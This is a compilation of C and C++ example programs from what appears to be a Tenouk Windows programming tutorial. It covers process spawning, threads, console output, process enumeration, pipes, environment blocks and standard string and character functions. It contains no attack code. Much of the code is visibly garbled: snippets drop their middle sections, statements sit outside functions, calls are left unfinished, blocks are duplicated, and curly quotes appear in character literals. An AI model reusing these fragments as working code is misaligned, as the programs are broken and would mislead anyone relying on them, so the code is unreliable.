exit(1);
}
/* Based on first letter of argument */
switch (argv[2][0])
{
case '1':
_spawnl(_P_WAIT, argv[1], argv[1], "_spawnl", "two", NULL);
break;
case '2':
_spawnle(_P_WAIT, argv[1], argv[1], "_spawnle", "two", NULL, my_env);
break;
case '3':
_spawnlp(_P_NOWAIT, argv[1], argv[1], "_spawnlp", "two", NULL);
break;
case '4':
_spawnlpe(_P_NOWAIT, argv[1], argv[1], "_spawnlpe", "two", NULL, my_env);
break;
case '5':
_spawnv(_P_OVERLAY, argv[1], args);
break;
case '6':
_spawnve(_P_OVERLAY, argv[1], args, my_env);
break;
case '7':
_spawnvp(_P_OVERLAY, argv[1], args);
break;
case '8':
_spawnvpe(_P_OVERLAY, argv[1], args, my_env);
break;
default:
printf("");
printf("Usage: %s <child_program_name> <number [1-8]>.\n", argv[0]);
exit (1);
}
return 0;
}
============================MODULES========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
// mythread.cpp
// compile with: /MT /D "_X86_" /c for Visual C++/.Net
#include <windows.h>
/* _beginthread, _endthread */
#include <process.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
/* Function prototypes... */
void Bounce(void *ch);
void CheckKey(void *dummy);
if (hStdOut == INVALID_HANDLE_VALUE)
printf("GetStdHandle() failed, error: %d.\n", GetLastError());
else
printf("GetStdHandle() is OK.\n");
/* CheckKey() - Thread to wait for a keystroke, and then clear repeat flag. */
void CheckKey(void *dummy)
{
printf("Press any key to stop.\n");
_getch();
/* _endthread implied */
repeat = 0;
while(repeat)
{
/* Pause between loops. */
Sleep(100L);
/* Blank out our old position on the screen, and draw new letter. */
if(first)
first = FALSE;
else
WriteConsoleOutputCharacter(hStdOut, &blankcell, 1, oldcoord, &result);
----------------------------------------------------------------------------------------------
// mythread.cpp
// compile with: /MT – Multithreaded, Visual C++/.Net
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <process.h>
unsigned Counter;
_endthreadex(0);
return 0;
}
// Wait until second thread terminates. If you comment out the line
// below, Counter will not be correct because the thread has not
// terminated, and Counter most likely has not been incremented to
// 1000000 yet.
WaitForSingleObject(hThread, INFINITE);
printf("Counter should be 1000000; it is-> %d\n", Counter);
// Destroy the thread object.
CloseHandle(hThread);
return 0;
}
----------------------------------------------------------------------------------------------
// mythread.cpp
// compile with: /MT – Multithreaded, Visual C++/.Net
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <process.h>
unsigned Counter;
_endthreadex(0);
return 0;
}
// Wait until second thread terminates. If you comment out the line
// below, Counter will not be correct because the thread has not
// terminated, and Counter most likely has not been incremented to
// 1000000 yet.
WaitForSingleObject(hThread, INFINITE);
printf("Counter should be 1000000; it is-> %d\n", Counter);
// Destroy the thread object.
CloseHandle(hThread);
return 0;
}
----------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
CONSOLE_SCREEN_BUFFER_INFO csbi;
int main()
{
HANDLE hStdOut;
LPTSTR lpszString = "Testing a character StRiNg";
DWORD cWritten;
BOOL fSuccess;
COORD coord;
WORD wColors[3];
hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (hStdOut == INVALID_HANDLE_VALUE)
printf("GetStdHandle() failed, error: %d.\n", GetLastError());
else
printf("GetStdHandle() is OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
CONSOLE_SCREEN_BUFFER_INFO csbi;
int main()
{
HANDLE hStdOut;
DWORD cWritten;
BOOL fSuccess;
COORD coord;
WORD wColor;
CHAR chFillChar;
hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (hStdOut == INVALID_HANDLE_VALUE)
printf("GetStdHandle() failed, error: %d.\n", GetLastError());
else
printf("GetStdHandle() is OK.\n");
fSuccess = FillConsoleOutputCharacter(
hStdOut, // screen buffer handle
chFillChar, // fill with spaces
30*20, // number of cells to fill
coord, // first cell to write to
&cWritten); // actual number written
if (! fSuccess)
printf("WriteConsoleOutputCharacter() failed.\n");
else
printf("WriteConsoleOutputCharacter() is OK.\n");
fSuccess = FillConsoleOutputAttribute(
hStdOut, // screen buffer handle
wColor, // color to fill with
30*20, // number of cells to fill
coord, // first cell to write to
&cWritten); // actual number written
if (!fSuccess)
printf("WriteConsoleOutputAttribute() failed.\n");
else
printf("WriteConsoleOutputAttribute() is OK.\n");
return 0;
}
============================MODULET========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <conio.h>
int main(void)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
hThread = CreateThread(
if (CloseHandle(hThread) != 0)
printf("Handle to thread closed successfully.\n");
return 0;
}
------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
void main(void)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
WaitForSingleObject(pi.hProcess, INFINITE);
printf("\n");
============================MODULEU========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <conio.h>
int main(void)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
if (CloseHandle(hThread) != 0)
printf("Handle to thread closed successfully.\n");
} // end for loop...
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
CloseHandle(hProcess);
}
int main()
{
// Get the list of process identifiers.
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
// If fail...
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
return 1; // or print some meaningful message...
else
printf("Enumprocesses() is OK.\n");
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
unsigned int i;
CloseHandle(hProcess);
}
int main()
{
// Get the list of process identifiers.
DWORD aProcesses[2048], cbNeeded, cProcesses;
unsigned int i;
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Function prototypes...
BOOL ListProcessModules(DWORD dwPID);
void printError(TCHAR* msg);
return 0;
}
eNum = GetLastError();
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, eNum, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
sysMsg, 256, NULL);
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Function prototypes...
BOOL GetProcessList();
BOOL ListProcessModules(DWORD dwPID);
BOOL ListProcessThreads(DWORD dwOwnerPID);
void printError(TCHAR* msg);
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;
if (!Process32First(hProcessSnap, &pe32))
{
printError("Process32First()"); // Show cause of failure
CloseHandle(hProcessSnap); // Must clean up the snapshot object
return (FALSE);
}
if(dwPriorityClass)
printf("\n Priority Class = %d", dwPriorityClass);
if (!Module32First(hModuleSnap, &me32))
{
printError("Module32First()"); // Show cause of failure
CloseHandle(hModuleSnap); // Must clean up the snapshot object
return (FALSE);
}
} while(Module32Next(hModuleSnap, &me32));
TCHAR sysMsg[256];
TCHAR* p;
eNum = GetLastError();
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, eNum, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
sysMsg, 256, NULL);
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define THREADCOUNT 5
DWORD dwTlsIndex;
void MyCommonFunction(void)
{
LPVOID lpvData;
if (!TlsSetValue(dwTlsIndex, lpvData))
ErrorExit("TlsSetValue() error!\n");
else
printf("TlsSetValue() is OK.\n");
MyCommonFunction();
return 0;
}
DWORD main(void)
{
DWORD IDThread;
HANDLE hThread[THREADCOUNT];
int i;
if (TlsFree(dwTlsIndex) == 0)
printf("TlsFree() failed!\n");
else
printf("TlsFree() is OK!\n");
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
// Prototypes...
BOOL CreateChildProcess(VOID);
VOID WriteToPipe(VOID);
VOID ReadFromPipe(VOID);
VOID MyErrorExit(LPTSTR);
VOID ErrMsg(LPTSTR, BOOL);
// This program takes a single command-line argument, the name of a text file
DWORD main(int argc, char *argv[])
{
SECURITY_ATTRIBUTES saAttr;
BOOL fSuccess;
// Create noninheritable read handle and close the inheritable read handle.
fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdoutRd,
GetCurrentProcess(), &hChildStdoutRdDup , 0,
FALSE, DUPLICATE_SAME_ACCESS);
if (!fSuccess)
{
MyErrorExit("DuplicateHandle() for noninheritable read handle failed");
CloseHandle(hChildStdoutRd);
}
else
printf("DuplicateHandle() for noninheritable read handle is OK.\n");
if (!fSuccess)
MyErrorExit("DuplicateHandle() for the write handle to the pipe failed");
else
printf("DuplicateHandle() for the write handle to the pipe is OK.\n");
CloseHandle(hChildStdinWr);
if (hInputFile == INVALID_HANDLE_VALUE)
MyErrorExit("CreateFile(), open existing failed\n");
else
printf("CreateFile(), open existing %s is OK.\n", argv[1]);
// Read from pipe that is the standard output for child process.
printf("Try reading from pipe...\n");
ReadFromPipe();
return 0;
}
//================================================================
BOOL CreateChildProcess()
{
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
BOOL bFuncRetn = FALSE;
if (bFuncRetn == 0)
MyErrorExit("CreateProcess() for child failed.");
else
{
printf("CreateProcess for child is OK.\n");
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
return bFuncRetn;
}
}
//================================================================
VOID WriteToPipe(VOID)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
//================================================================
VOID ReadFromPipe(VOID)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
// Close the write end of the pipe before reading from the read end of the pipe.
if (!CloseHandle(hChildStdoutWr))
MyErrorExit("CloseHandle() failed");
else
printf("CloseHandle() is OK.\n");
// Read output from the child process, and write to parent's STDOUT.
printf("In ReadFromPipe(), try to read output from the child process, and write to parent's STDOUT.\n");
for (;;) // More read control should be implemented here such as EOF etc...
{
if (!ReadFile(hChildStdoutRdDup, chBuf, BUFSIZE, &dwRead, NULL) || dwRead == 0)
printf("ReadFile() failed.\n");
break;
//================================================================
VOID MyErrorExit(LPTSTR lpszMessage)
{
fprintf(stderr, "%s\n", lpszMessage);
// Exit peacefully...
ExitProcess(0);
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE 4096
int main(void)
{
CHAR chBuf[BUFSIZE];
DWORD dwRead, dwWritten;
HANDLE hStdin, hStdout;
BOOL fSuccess;
hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
hStdin = GetStdHandle(STD_INPUT_HANDLE);
for (;;) // May use other program control here to stop automatically :o)
{
// Read from standard input.
fSuccess = ReadFile(hStdin, chBuf, BUFSIZE, &dwRead, NULL);
if (!(fSuccess || dwRead == 0))
{
printf("ReadFile(), from standard input failed.\n");
break;
}
else
printf("ReadFile(), from standard input is OK.\n");
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
// Make sure do not exceed the maximum of the environment block size
// supported by your Windows OS version...else there will be an error
// message...
#define BUFSIZE 1024
int main()
{
LPTSTR lpszCurrentVariable;
TCHAR tchNewEnv[BUFSIZE];
BOOL fSuccess;
STARTUPINFO siStartInfo;
PROCESS_INFORMATION piProcInfo;
ZeroMemory(&siStartInfo, sizeof(siStartInfo));
siStartInfo.cb = sizeof(siStartInfo);
ZeroMemory(&piProcInfo, sizeof(piProcInfo));
lpszCurrentVariable += lstrlen(lpszCurrentVariable) + 1;
*lpszCurrentVariable = '\0';
if (!fSuccess)
MyErrorExit("CreateProcess(), with new environment block failed.");
else
printf("CreateProcess(), with new environment block is OK.\n");
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE 4029
int main()
{
LPTSTR lpszOldValue;
TCHAR tchBuf[BUFSIZE];
BOOL fSuccess;
STARTUPINFO siStartInfo;
PROCESS_INFORMATION piProcInfo;
ZeroMemory(&siStartInfo, sizeof(siStartInfo));
siStartInfo.cb = sizeof(siStartInfo);
ZeroMemory(&piProcInfo, sizeof(piProcInfo));
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
if(FreeEnvironmentStrings((LPSTR)lpvEnv) == 0)
printf("GetEnvironmentStrings() failed.\n");
else
printf("\nGetEnvironmentStrings() is OK.\n");
return 0;
}
-----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hEvents[2];
DWORD i, dwEvent;
if (hEvents[i] == NULL)
{
printf("CreateEvent() error: %d\n", GetLastError());
ExitProcess(0);
}
else
printf("CreateEvent() #%d is OK.\n", i);
}
============================MODULEV========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
int main()
{
cout<<"Using functions isdigit(), isalpha(),"<<endl;
cout<<"isalnum(), and isxdigit()"<<endl;
cout<<"-------------------------------------"<<endl;
cout<<"\nAccording to isdigit():"<<endl;
isdigit('8') ? cout<<"8 is a digit\n" : cout<<"8 is not a digit\n";
isdigit('#') ? cout<<"# is a digit\n" : cout<<"# is not a digit\n";
cout<<"\nAccording to isalpha():"<<endl;
isalpha('A') ? cout<<"A is a letter\n" : cout<<"A is not a letter\n";
isalpha('b') ? cout<<"b is a letter\n" : cout<<"b is not a letter\n";
isalpha('&') ? cout<<"& is a letter\n" : cout<<"& is not a letter\n";
isalpha('4') ? cout<<"4 is a letter\n" : cout<<"4 is not a letter\n";
cout<<"\nAccording to isalnum():"<<endl;
isalnum('A') ? cout<<"A is a digit or a letter\n" : cout<<"A is not a digit or a letter\n";
isalnum('8') ? cout<<"8 is a digit or a letter\n" : cout<<"8 is not a digit or a letter\n";
isalnum('#') ? cout<<"# is a digit or a letter\n" : cout<<"# is not a digit or a letter\n";
cout<<"\nAccording to isxdigit():"<<endl;
isxdigit('F') ? cout<<"F is a hexadecimal\n" : cout<<"F is not a hexadecimal\n";
isxdigit('J') ? cout<<"J is a hexadecimal\n" : cout<<"J is not a hexadecimal\n";
isxdigit('7') ? cout<<"7 is a hexadecimal\n" : cout<<"7 is not a hexadecimal\n";
isxdigit('$') ? cout<<"$ is a hexadecimal\n" : cout<<"$ is not a hexadecimal\n";
isxdigit('f') ? cout<<"f is a hexadecimal\n" : cout<<"f is not a hexadecimal\n";
system("pause");
return 0;
}
------------------------------------------VC++/VC++ .Net----------------------------------------------------
int main()
{
cout<<"Using functions isdigit(), isalpha(),"<<endl;
cout<<"isalnum(), and isxdigit()"<<endl;
cout<<"-------------------------------------"<<endl;
cout<<"\nAccording to isdigit():"<<endl;
isdigit('8') ? cout<<"8 is a digit\n" : cout<<"8 is not a digit\n";
isdigit('#') ? cout<<"# is a digit\n" : cout<<"# is not a digit\n";
cout<<"\nAccording to isalpha():"<<endl;
isalpha('A') ? cout<<"A is a letter\n" : cout<<"A is not a letter\n";
isalpha('b') ? cout<<"b is a letter\n" : cout<<"b is not a letter\n";
isalpha('&') ? cout<<"& is a letter\n" : cout<<"& is not a letter\n";
isalpha('4') ? cout<<"4 is a letter\n" : cout<<"4 is not a letter\n";
cout<<"\nAccording to isalnum():"<<endl;
isalnum('A') ? cout<<"A is a digit or a letter\n" : cout<<"A is not a digit or a letter\n";
isalnum('8') ? cout<<"8 is a digit or a letter\n" : cout<<"8 is not a digit or a letter\n";
isalnum('#') ? cout<<"# is a digit or a letter\n" : cout<<"# is not a digit or a letter\n";
cout<<"\nAccording to isxdigit():"<<endl;
isxdigit('F') ? cout<<"F is a hexadecimal\n" : cout<<"F is not a hexadecimal\n";
isxdigit('J') ? cout<<"J is a hexadecimal\n" : cout<<"J is not a hexadecimal\n";
isxdigit('7') ? cout<<"7 is a hexadecimal\n" : cout<<"7 is not a hexadecimal\n";
isxdigit('$') ? cout<<"$ is a hexadecimal\n" : cout<<"$ is not a hexadecimal\n";
isxdigit('f') ? cout<<"f is a hexadecimal\n" : cout<<"f is not a hexadecimal\n";
system("pause");
return 0;
}
------------------------------------------VC++/VC++ .Net----------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>
int main()
{
cout<<"\nAccording to islower():"<<endl;
islower('p') ? cout<<"p is a lowercase letter\n" : cout<<"p is not a lowercase letter\n";
islower('P') ? cout<<"P is a lowercase letter\n" : cout<<"P is not a lowercase letter\n";
islower('5') ? cout<<"5 is a lowercase letter\n" : cout<<"5 is not a lowercase letter\n";
islower('!') ? cout<<"! is a lowercase letter\n" : cout<<"! is not a lowercase letter\n";
cout<<"\nAccording to isupper():"<<endl;
isupper('D') ? cout<<"D is a uppercase letter\n" : cout<<"D is not a uppercase letter\n";
isupper('d') ? cout<<"d is a uppercase letter\n" : cout<<"d is not a uppercase letter\n";
isupper('8') ? cout<<"8 is a uppercase letter\n" : cout<<"8 is not a uppercase letter\n";
isupper('$') ? cout<<"$ is a uppercase letter\n" : cout<<"$ is not a uppercase letter\n";
cout<<"\nConversion...."<<endl;
cout<<"u converted to uppercase is "<<(char)toupper('u')<<endl;
cout<<"7 converted to uppercase is "<<(char)toupper('7')<<endl;
cout<<"$ converted to uppercase is "<<(char)toupper('$')<<endl;
cout<<"L converted to lowercase is "<<(char)tolower('L')<<endl;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------
int main()
{
cout<<"using functions isspace(), iscntrl(),"<<endl;
cout<<"ispunct(), isprint(), isgraph()"<<endl;
cout<<"-------------------------------------"<<endl;
--------------------------------------------------------------------------------------------------------
int main()
{
double dou;
dou = atof("95.0");
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------
int main()
{
int i;
i = atoi("1234");
--------------------------------------------------------------------------------------------------------
int main()
{
long newlong;
newlong = atol("123456");
--------------------------------------------------------------------------------------------------------
int main()
{
double p;
char *thestring = "41.2% sample string";
char *thestringPtr;
p = strtod(thestring, &thestringPtr);
printf("-------------------------------------------\n\n");
--------------------------------------------------------------------------------------------------------
int main()
{
long x;
char *thestring = "-1234567abc", *remainderPtr;
--------------------------------------------------------------------------------------------------------
int main()
{
unsigned long x;
char *thestring = "1234567def", *remainderPtr;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------
//function prototype...
void reverse(char *);
int main()
{
//an array for storing the string...
char sentence[80];
--------------------------------------------------------------------------------------------------------
int main()
{
char c, sentence[80];
int i = 0;
//while iteration/loop…
while (( c = getchar()) != '\n')
sentence[i++] = c;
//insert NULL at the end of string
sentence[i] = '\0';
puts("\nThe line of text entered was: ");
puts(sentence);
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------
//Using sprintf()
#include <stdio.h>
#include <stdlib.h>
int main()
{
char s[80];
int x;
float y;
printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n",
"The formatted output stored in array s is: ", s);
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------
//Using sscanf()
#include <stdio.h>
#include <stdlib.h>
int main()
{
char s[] = "31298 87.375";
int x;
float y;
printf("Using sscanf()\n");
printf("--------------\n");
sscanf(s, "%d%f", &x, &y);
printf("array, s[] = 31298 87.375\n");
printf("\n%s\n%s%6d\n%s%8.3f\n",
--------------------------------------------------------------------------------------------------------
int main()
{
char x[] = "Yo! Happy Birthday to me";
char y[25], z[15];
strncpy(z, x, 14);
z[14] = '\0';
--------------------------------------------------------------------------------------------------------
int main()
{
char s1[20] = "Happy ";
char s2[] = "New Year ";
char s3[40] = " ";
--------------------------------------------------------------------------------------------------------
int main()
{
char * s1 = "Happy New Year";
char *s2 = "Happy New Year";
char *s3 = "Happy Birthday";
--------------------------------------------------------------------------------------------------------
//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string = "This is a test statement, testing! ";
char character1 = ‘e’, character2 = ‘z’;
return 0;
}
--------------------------------------------------------------------------------------------------------
//Using strcspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "The value is 3.14159";
char *string2 = "1234567890";
--------------------------------------------------------------------------------------------------------
//Using strpbrk()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "This is a test statement";
char *string2 = "search";
--------------------------------------------------------------------------------------------------------
//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
--------------------------------------------------------------------------------------------------------
//Using strspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";
--------------------------------------------------------------------------------------------------------
//Using strstr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "abcdefgabcdefgabcdefg";
char *string2 = "defg";
--------------------------------------------------------------------------------------------------------
//Using strtok()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char string[] = "Is this sentence has 6 tokens?";
char *tokenPtr;
--------------------------------------------------------------------------------------------------------
//Using memcpy()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char s1[20], s2[] = "Copying this string into s1";
return 0;
}
--------------------------------------------------------------------------------------------------------
//Using memmove()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char x[] = "My home is home sweet home";
--------------------------------------------------------------------------------------------------------
//Using memcmp()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char s1[] = "ABCDEFGHIJK", s2[] = "ABCDXYZPQR";
printf("Using memcmp()\n");
printf("--------------\n");
--------------------------------------------------------------------------------------------------------
//Using memchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *s = "This is a test string";
char p = 'e';
printf("Using memchr()\n");
printf("--------------\n");
printf("char p = \'e\'\n");
printf("s = %s\n", s);
--------------------------------------------------------------------------------------------------------
//Using memset()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char string[40] = "AAAAAAAABBBBBBBBBCCCCCCCCCC";
printf("Using memset()\n");
printf("--------------\n");
--------------------------------------------------------------------------------------------------------
//Using strerror()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
printf("strerror() - string errors\n");
printf("--------------------------\n");
printf("strerror(1)->%s", strerror(1));
printf("strerror(2)->%s", strerror(2));
printf("strerror(3)->%s", strerror(3));
printf("strerror(4)->%s", strerror(4));
printf("strerror(5)->%s", strerror(5));
printf("strerror(6)->%s", strerror(6));
printf("strerror(7)->%s", strerror(7));
printf("strerror(8)->%s", strerror(8));
printf("strerror(9)->%s", strerror(9));
printf("strerror(9)->%s", strerror(9));
printf("strerror(10)->%s", strerror(10));
system("pause");
return 0;
}
----------------------------VC++/VC++ .net---------------------------------------------------------------
//Using strchr()
#include <cstdio>
#include <cstring>
